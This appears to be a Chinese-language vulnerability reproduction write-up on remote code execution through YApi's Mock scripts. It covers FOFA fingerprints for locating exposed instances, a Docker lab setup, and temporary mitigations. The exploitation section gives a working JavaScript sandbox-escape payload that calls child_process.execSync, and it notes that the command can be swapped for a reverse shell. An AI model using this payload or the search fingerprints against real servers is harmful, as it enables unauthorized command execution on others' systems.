0x01 前言
Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。
安全人员在Yapi官方Github仓库提交了漏洞issues,地址为:https://github.com/YMFE/yapi/issues/2233。
0x02 漏洞描述
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代
0x03 FOFA语句
app="YApi"
icon_hash="-715193973"
0x04 Yapi部署教程
使用Docker构建Yapi(Ubuntu环境)。
启动mongodb。
docker run -d --name mongo-yapi -p 27017:27017 mongo
获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看
docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json 内容为以下代码:
{
"port": "3000",
"adminAccount": "admin@qq.com",
"db": {
"servername": "mongo-yapi",
"DATABASE": "yapi",
"port": 27017
},
"mail": {
"enable": true,//邮件通知
"host": "smtp.qq.com",//邮箱服务器
"port": 465,
"from": "admin@qq.com",//发件人邮箱
"auth": {
"user": "adminadmin@qq.com",//邮箱服务器账号
"pass": "123456"//邮箱服务器密码
}
}
}
初始化Yapi数据库索引及管理员账号。
docker run -it --rm \
-v /config/config.json:/api/config.json \
--link mongo-yapi:mongo \
--entrypoint npm \
--workdir /api/vendors \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
run install-server
启动Yapi服务。
docker run -d \
-v /config/config.json:/api/config.json \
--name yapi \
--link mongo-yapi:mongo \
--workdir /api/vendors \
-p 3000:3000 \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
server/app.js
访问http://localhost:3000登录账号admin@qq.com,密码 123456。
0x05 漏洞利用
注册用户
利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。
![](https://img.haomeiwen.com/i3946030/1b4c9efb9998bbd7.png)
添加项目
添加一个项目。
![](https://img.haomeiwen.com/i3946030/39ba90a3ad0e206f.png)
输入项目名称,输入完成后点击创建名称
![](https://img.haomeiwen.com/i3946030/2e839e8937c2f8e9.png)
添加接口
点击添加接口
![](https://img.haomeiwen.com/i3946030/fe731408c86ab139.png)
输入接口名称和接口路径,输入完成后点击提交
![](https://img.haomeiwen.com/i3946030/c65887c77f6e6696.png)
添加Mock脚本
点击高级Mock,并打开脚本页面
![](https://img.haomeiwen.com/i3946030/f7e6ab090f905da9.png)
开启脚本,输入Mock脚本
脚本内容:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
![](https://img.haomeiwen.com/i3946030/3fdab1a454ef95ed.png)
点击保存,打开预览界面。访问Mock地址即可执行命令。
![](https://img.haomeiwen.com/i3946030/dbda01bc58f872a8.png)
访问Mock地址
成功获取当前用户
![](https://img.haomeiwen.com/i3946030/e0dae064a2997aa8.png)
可将Mock脚本中的whoami改成任意语句,可执行反弹shell等操作。
修复建议
该漏洞暂无补丁。
临时修复建议:
-
关闭YAPI用户注册功能,以阻断攻击者注册。
-
利用请求白名单的方式限制 YAPI 相关端口。
-
排查 YAPI 服务器是否存在恶意访问记录。
网友评论